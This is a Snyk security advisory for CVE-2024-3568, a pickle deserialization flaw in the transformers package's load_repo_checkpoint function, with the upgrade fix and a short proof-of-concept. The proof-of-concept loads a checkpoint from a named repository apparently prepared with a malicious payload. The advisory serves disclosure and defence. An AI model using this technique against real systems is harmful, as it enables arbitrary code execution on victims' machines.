Deserialization of Untrusted Data Affecting transformers package, versions [,4.38.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-PYTHON-TRANSFORMERS-6239525
- published11 Apr 2024
- disclosed8 Feb 2024
- creditPatrick Peng
Introduced: 8 Feb 2024
CVE-2024-3568 (opens in a new tab)How to fix?
Upgrade transformers to version 4.38.0 or higher.
Overview
transformers is a State-of-the-art Machine Learning for JAX, PyTorch and TensorFlow
Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the load_repo_checkpoint function of the TFPreTrainedModel class. An attacker can execute arbitrary code and commands by crafting a malicious serialized payload, exploiting the use of pickle.load on data from potentially untrusted sources. This vulnerability allows for remote code execution by deceiving victims into loading a seemingly harmless checkpoint during a normal training process, thereby enabling attackers to execute arbitrary code on the targeted machine.
Note:
Even if the function calls pickle.load(), which permits remote code execution from an untrusted repo, this function was essentially deprecated and unused code that is not called in any standard workflow, so the attacker would have to induce the user to call this unusual function in addition to preparing a repo with a malicious payload.
PoC
from transformers import TFAutoModel
from tensorflow.keras.optimizers import Adam
model = TFAutoModel.from_pretrained('bert-base-uncased')
model.compile(optimizer=Adam(learning_rate=5e-5), loss='sparse_categorical_crossentropy', metrics=['accuracy'])
model.load_repo_checkpoint('Retr0REG/EvanModel')